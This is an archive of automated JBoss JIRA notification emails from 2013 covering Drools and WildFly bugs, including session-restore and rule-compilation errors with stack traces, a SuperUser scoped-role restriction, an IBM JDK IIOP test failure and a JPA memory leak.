Subject: [jboss-jira] [JBoss JIRA] (DROOLS-102) Error inserting facts after
 session restore
In-Reply-To: <JIRA.12489017.1365601381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489017.1365601381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489017.1365601381000.14657.1378625943439@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-102?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802593#comment-12802593 ] 

Davide Sottara commented on DROOLS-102:
---------------------------------------

It seems to be working in 5.6.0-SNAPSHOT
                
> Error inserting facts after session restore 
> --------------------------------------------
>
>                 Key: DROOLS-102
>                 URL: https://issues.jboss.org/browse/DROOLS-102
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: JBoss AS 5.0
> Drools 5.4.0 / 5.5.0
> Linux Ubuntu
> JDK 1.6
>            Reporter: Nedo Nedic
>            Assignee: Mark Proctor
>              Labels: drools-core
>
> I'm using Drools 5.4.0 (but also tried it with the last release of Drools 5.5.0) to save the session state when the application server restarts / stops. Everything works fine and the session state is properly restored, but when new fact is inserted the following exception is thrown:
> java.lang.NullPointerException
>         at java.lang.Class.isAssignableFrom(Native Method)
>         at org.drools.reteoo.ReteooFactHandleFactory.newFactHandle(ReteooFactHandleFactory.java:57)
>         at org.drools.common.AbstractFactHandleFactory.newFactHandle(AbstractFactHandleFactory.java:68)
>         at org.drools.common.AbstractFactHandleFactory.newFactHandle(AbstractFactHandleFactory.java:53)
>         at org.drools.common.NamedEntryPoint.createHandle(NamedEntryPoint.java:745)
>         at org.drools.common.NamedEntryPoint.insert(NamedEntryPoint.java:287)
>         at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:888)
>         at org.drools.common.AbstractWorkingMemory.insert(AbstractWorkingMemory.java:847)
>         at org.drools.impl.StatefulKnowledgeSessionImpl.insert(StatefulKnowledgeSessionImpl.java:269)
> I explored through Drools code, and figured out time stamp extractor getExtractToClass method is evaluating to null (line 57 ReteooFactHandleFactory):
> public final InternalFactHandle newFactHandle(final int id,
>                                                   final Object object,
>                                                   final long recency,
>                                                   final ObjectTypeConf conf,
>                                                   final InternalWorkingMemory workingMemory,
>                                                   final WorkingMemoryEntryPoint wmEntryPoint) {
>         if ( conf != null && conf.isEvent() ) {
>             TypeDeclaration type = conf.getTypeDeclaration();
>             long timestamp;
>             if ( type.getTimestampExtractor() != null ) {
>                 if ( Date.class.isAssignableFrom( type.getTimestampExtractor().getExtractToClass() ) ) {
>                     timestamp = ((Date) type.getTimestampExtractor().getValue( workingMemory,
>                                                                                object )).getTime();
>                 } else {
>                     timestamp = type.getTimestampExtractor().getLongValue( workingMemory,
>                                                                            object );
>                 }
>             } else {
>                 timestamp = workingMemory.getTimerService().getCurrentTime();
> ....
> My code for storing / restoring session:
>         public void saveCorrelator(FileOutputStream output) throws IOException {
>                
>                 DroolsObjectOutputStream droolsOut = new DroolsObjectOutputStream(output);
>                 droolsOut.writeObject(ksession.getKnowledgeBase());
>                 Marshaller mas = createMarshaller(ksession.getKnowledgeBase());
>                 mas.marshall(droolsOut, ksession);
>                 droolsOut.flush();
>                 droolsOut.close();
>         }
>        
>         public void loadCorrelator(FileInputStream input) throws IOException,
>                         ClassNotFoundException {
>                
>                 DroolsObjectInputStream droolsIn = new DroolsObjectInputStream(input, this.getClass().getClassLoader());
>                 try {
>                         KnowledgeBase kbase = (KnowledgeBase) droolsIn.readObject();
>                         Marshaller mas = createMarshaller(kbase);
>                         ksession = mas.unmarshall(droolsIn);
>                 } catch(EOFException e) {
>                         log.error("EOFException on correlator restore");
>                 } finally {
>                         droolsIn.close();
>                 }
>                
>         }
>         private Marshaller createMarshaller(KnowledgeBase kbase) {
>                 ObjectMarshallingStrategyAcceptor acceptor = MarshallerFactory
>                                 .newClassFilterAcceptor(new String[] { "*.*" });
>                 ObjectMarshallingStrategy strategy = MarshallerFactory
>                                 .newSerializeMarshallingStrategy(acceptor);
>                 return MarshallerFactory.newMarshaller(kbase,
>                                 new ObjectMarshallingStrategy[] { strategy });
>         }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 05:42:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 05:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-168) jbpm-drools integration
In-Reply-To: <JIRA.12494304.1371217159000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494304.1371217159000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494304.1371217159000.14663.1378633323603@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-168?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802594#comment-12802594 ] 

Davide Sottara commented on DROOLS-168:
---------------------------------------

Which versions of Drools and jBPM are you using?

                
> jbpm-drools integration
> -----------------------
>
>                 Key: DROOLS-168
>                 URL: https://issues.jboss.org/browse/DROOLS-168
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: windows operating system(xp)
>            Reporter: sangeetharaman c
>            Assignee: Mark Proctor
>              Labels: jbpm-drools, jbpm-drools-inte
>
> i am integrating jbpm process with drools. In my case during a transition from one process to another i have added an action which performs following :
> package com.sample.action;
> import java.io.InputStreamReader;
> import java.io.Reader;
> import org.apache.log4j.Logger;
> import org.drools.RuleBase;
> import org.drools.RuleBaseConfiguration;
> import org.drools.RuleBaseFactory;
> import org.drools.WorkingMemory;
> import org.drools.compiler.PackageBuilder;
> import org.drools.compiler.PackageBuilderConfiguration;
> import org.drools.rule.Package;
> import org.jbpm.graph.def.ActionHandler;
> import org.jbpm.graph.exe.ExecutionContext;
> public class TestDroolActionHandler implements ActionHandler {
> 	/**
> 	 * 
> 	 */
> 	private static final long serialVersionUID = 1L;
> 	static Logger logger = Logger.getLogger(TestDroolActionHandler.class);
> 	
> 	@Override
> 	public void execute(ExecutionContext executionContext) throws Exception {
> 		// TODO Auto-generated method stub
> try {
>         	
> 	RuleBase ruleBase = readRule();
> 	   
> 	   WorkingMemory workingMemory = ruleBase.newStatefulSession();
> 	   
> 	   Message message = new Message();
> 	   
> 	   message.setMessage(  "Hello World" );
> 	  
> 	   message.setStatus( Message.HELLO );
> 	   
> 	   workingMemory.insert( message );
> 	  
> 	   workingMemory.fireAllRules();
> 	  
> 	
> 	
>         	
>             
>         } catch (Throwable t) {
>             t.printStackTrace();
>         }
>     }
> 	private  RuleBase readRule() throws Exception {
> 		
> 		
> 		   Reader source = new InputStreamReader( TestDroolActionHandler.class.getResourceAsStream( "/Sample.drl" ) );
> 		   
> 		   //Use package builder to build up a rule package.
> 		   ClassLoader classLoader = this.getClass().getClassLoader();
> 		   PackageBuilderConfiguration configuration = new PackageBuilderConfiguration();
> 		   configuration.setClassLoader(classLoader);
> 		  PackageBuilder builder = new PackageBuilder(configuration);
> 		  
> 		  //this wil parse and compile in one step
> 		   builder.addPackageFromDrl( source );
> 		   
> 		   //get the compiled package (which is serializable)
> 		   Package pkg = builder.getPackage();
> 		   
> 		  //add the package to a rulebase (deploy the rule package).
> 		   RuleBaseConfiguration ruleBaseConfiguration = new RuleBaseConfiguration();
> 		   ruleBaseConfiguration.setClassLoader(classLoader);
> 		   RuleBase ruleBase = RuleBaseFactory.newRuleBase(ruleBaseConfiguration);
> 		   
> 		   ruleBase.addPackage( pkg );
> 		   
> 		   return ruleBase;
> 		
> 		
> 	}
> 	
> 	public static class Message {
> 		public static final int HELLO = 0;
> 		public static final int GOODBYE = 1;
> 		
> 		private String message;
> 		
> 		private int status;
> 		
> 		public String getMessage() {
> 			return this.message;
> 		}
> 		
> 		public void setMessage(String message) {
> 			this.message = message;
> 		}
> 		
> 		public int getStatus() {
> 			return this.status;
> 		}
> 		
> 		public void setStatus( int status ) {
> 			this.status = status;
> 		}
> 	}
> 		
> 	}
> this code reads .drl file:
> package com.sample.action
>  
> import com.sample.action.TestDroolActionHandler.Message;
>  
> rule "Hello World"
> 	when
> 		m : Message( status == Message.HELLO, message : message )
> 	then
> 		System.out.println( message ); 
> 		m.setMessage( "Goodbye cruel world" );
> 		m.setStatus( Message.GOODBYE );
> 		update( m );
> end
> rule "GoodBye"
> 	no-loop true
> 	when
> 		m : Message( status == Message.GOODBYE, message : message )
> 	then
> 		System.out.println( message ); 
> 		m.setMessage( message );
> 		
> end
> i get the following error:
> 19:05:02,206 ERROR [STDERR] org.drools.rule.InvalidRulePackage: Unable to resolve ObjectType 'Message' : [Rule name=Hello World, agendaGroup=MAIN, salience=0, no-loop=false]
> Unable to resolve ObjectType 'Message' : [Rule name=GoodBye, agendaGroup=MAIN, salience=0, no-loop=true]
> com.sample.action.TestDroolActionHandler.MessageRule Compilation error : [Rule name=GoodBye, agendaGroup=MAIN, salience=0, no-loop=true]
>         com/sample/action/Rule_GoodBye_0.java (2:35) : The import com.sample.action.TestDroolActionHandler.Message cannot be resolved
>         com/sample/action/Rule_GoodBye_0.java (7:294) : message cannot be resolved
>         com/sample/action/Rule_GoodBye_0.java (8:309) : m cannot be resolved
>         com/sample/action/Rule_GoodBye_0.java (8:323) : message cannot be resolved
> Rule Compilation error : [Rule name=Hello World, agendaGroup=MAIN, salience=0, no-loop=false]
>         com/sample/action/Rule_Hello_World_0.java (1:0) : The type com.sample.action.TestDroolActionHandler$Message cannot be resolved. It is indirectly referenced from required .class files
>         com/sample/action/Rule_Hello_World_0.java (2:35) : The import com.sample.action.TestDroolActionHandler.Message cannot be resolved
>         com/sample/action/Rule_Hello_World_0.java (7:298) : message cannot be resolved
>         com/sample/action/Rule_Hello_World_0.java (8:313) : m cannot be resolved
>         com/sample/action/Rule_Hello_World_0.java (9:355) : m cannot be resolved
>         com/sample/action/Rule_Hello_World_0.java (9:368) : Message.GOODBYE cannot be resolved to a type
>         com/sample/action/Rule_Hello_World_0.java (10:405) : m cannot be resolved
> 19:05:02,206 ERROR [STDERR]     at org.drools.rule.Package.checkValidity(Package.java:424)
> 19:05:02,206 ERROR [STDERR]     at org.drools.common.AbstractRuleBase.addPackage(AbstractRuleBase.java:364)
> 19:05:02,206 ERROR [STDERR]     at com.sample.action.TestDroolActionHandler.readRule(TestDroolActionHandler.java:79)
> 19:05:02,206 ERROR [STDERR]     at com.sample.action.TestDroolActionHandler.execute(TestDroolActionHandler.java:32)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.Action.execute(Action.java:122)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.GraphElement.executeAction(GraphElement.java:264)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.GraphElement.executeActions(GraphElement.java:220)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.GraphElement.fireAndPropagateEvent(GraphElement.java:190)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.GraphElement.fireEvent(GraphElement.java:174)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.Transition.take(Transition.java:138)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.Node.leave(Node.java:394)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.node.StartState.leave(StartState.java:70)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.Node$$FastClassByCGLIB$$d187eeda.invoke(<generated>)
> 19:05:02,206 ERROR [STDERR]     at net.sf.cglib.proxy.MethodProxy.invoke(MethodProxy.java:149)
> 19:05:02,206 ERROR [STDERR]     at org.hibernate.proxy.pojo.cglib.CGLIBLazyInitializer.intercept(CGLIBLazyInitializer.java:163)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.def.Node$$EnhancerByCGLIB$$3ed7f255.leave(<generated>)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.exe.Token.signal(Token.java:195)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.graph.exe.Token.signal(Token.java:158)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.jsf.core.action.SignalActionListener.handleAction(SignalActionListener.java:56)
> 19:05:02,206 ERROR [STDERR]     at org.jbpm.jsf.core.impl.JbpmActionListenerWrapper.processAction(JbpmActionListenerWrapper.java:82)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.event.ActionEvent.processListener(ActionEvent.java:77)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.component.UIComponentBase.broadcast(UIComponentBase.java:758)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.component.UICommand.broadcast(UICommand.java:368)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:448)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:752)
> 19:05:02,206 ERROR [STDERR]     at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:97)
> 19:05:02,206 ERROR [STDERR]     at com.sun.faces.lifecycle.LifecycleImpl.phase(LifecycleImpl.java:248)
> 19:05:02,206 ERROR [STDERR]     at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:117)
> 19:05:02,206 ERROR [STDERR]     at javax.faces.webapp.FacesServlet.service(FacesServlet.java:244)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:252)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)
> 19:05:02,206 ERROR [STDERR]     at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:202)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:213)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:178)
> 19:05:02,206 ERROR [STDERR]     at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:175)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:524)
> 19:05:02,206 ERROR [STDERR]     at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:74)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:126)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:107)
> 19:05:02,206 ERROR [STDERR]     at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148)
> 19:05:02,206 ERROR [STDERR]     at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:869)
> 19:05:02,206 ERROR [STDERR]     at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:664)
> 19:05:02,206 ERROR [STDERR]     at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:527)
> 19:05:02,206 ERROR [STDERR]     at org.apache.tomcat.util.net.MasterSlaveWorkerThread.run(MasterSlaveWorkerThread.java:112)
> 19:05:02,206 ERROR [STDERR]     at java.lang.Thread.run(Thread.java:619)
> Any help will be appreciated...

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 07:24:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 07:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-255) Parent traits may block child
In-Reply-To: <JIRA.12500266.1378639395529@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500266.1378639395529@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500266.1378639395529.14666.1378639443466@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-255:
-------------------------------------

             Summary: Parent traits may block child
                 Key: DROOLS-255
                 URL: https://issues.jboss.org/browse/DROOLS-255
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor


TBD

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 10:39:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Sun, 8 Sep 2013 10:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2024) Scoped roles base on
 SuperUser should not be allowed
In-Reply-To: <JIRA.12500268.1378651067355@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500268.1378651067355@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500268.1378651067355.14672.1378651143353@jira02.app.mwc.hst.phx2.redhat.com>

Jakub Cechacek created WFLY-2024:
------------------------------------

             Summary: Scoped roles base on SuperUser  should not be allowed
                 Key: WFLY-2024
                 URL: https://issues.jboss.org/browse/WFLY-2024
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Jakub Cechacek


It should not be possible to create scoped roles with SuperUser used as the base role. These roles currently don't have any permission to operate over Server Group / Host anyway and having such role doesn't make sense (as restricted superuser is not a superuser).



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 12:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 8 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1783) IIOPNamingTestCase is failing
 when run on IBM JDK
In-Reply-To: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497581.1375186193000.14678.1378657263408@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1783?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802597#comment-12802597 ] 

RH Bugzilla Integration commented on WFLY-1783:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 990112|https://bugzilla.redhat.com/show_bug.cgi?id=990112] from NEW to MODIFIED
                
> IIOPNamingTestCase is failing when run on IBM JDK
> -------------------------------------------------
>
>                 Key: WFLY-1783
>                 URL: https://issues.jboss.org/browse/WFLY-1783
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha3
>         Environment: ibm jdk
>            Reporter: Ond?ej Chaloupka
>            Assignee: Ond?ej Chaloupka
>
> Testcase org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase is failing when is run on IBM JDK with message
> Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
> The stack trace:
> {code}
> java.lang.ClassCastException: Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
>  at com.ibm.rmi.javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:356)
>  at javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:148)
>  at org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase.testIIOPNamingInvocation(IIOPNamingTestCase.java:65)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
>  at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
>  at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
>  at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
>  at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
>  at sun.reflect.GeneratedMethodAccessor43.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
>  at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
>  at org.jboss.arquillian.container.test.impl.execution.ClientTestExecuter.execute(ClientTestExecuter.java:53)
>  at sun.reflect.GeneratedMethodAccessor13.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createContext(ContainerEventController.java:142)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createTestContext(ContainerEventController.java:129)
>  at sun.reflect.GeneratedMethodAccessor12.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
>  at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createClassContext(TestContextHandler.java:75)
>  at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
>  at sun.reflect.GeneratedMethodAccessor5.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.test.impl.EventTestRunnerAdaptor.test(EventTestRunnerAdaptor.java:111)
>  at org.jboss.arquillian.junit.Arquillian$6.evaluate(Arquillian.java:263)
>  at org.jboss.arquillian.junit.Arquillian$4.evaluate(Arquillian.java:226)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$5.evaluate(Arquillian.java:240)
>  at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)
>  at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)
>  at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)
>  at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)
>  at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)
>  at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)
>  at org.jboss.arquillian.junit.Arquillian$2.evaluate(Arquillian.java:185)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$3.evaluate(Arquillian.java:199)
>  at org.junit.runners.ParentRunner.run(ParentRunner.java:309)
>  at org.jboss.arquillian.junit.Arquillian.run(Arquillian.java:147)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:234)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:133)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:114)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:188)
>  at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:166)
>  at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider(ProviderFactory.java:86)
>  at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:101)
>  at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:74)
> {code}
> The reason seem to be that the stubs are not generated. As I found there is no option to force jdk generate stubs on the fly (oracle jdk knows -Dcom.sun.CORBA.ORBUseDynamicStub=true) and the generation of stubs have to be done manually e.g. with rmic tool.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Sun Sep  8 12:30:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 8 Sep 2013 12:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.14689.1378657803586@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802602#comment-12802602 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600] from NEW to MODIFIED
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 12:32:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 8 Sep 2013 12:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1934) Improve code of
 OutboundLdapConnectionTestCase
In-Reply-To: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499256.1377248810000@jira02.app.mwc.hst.phx2.redhat.com>
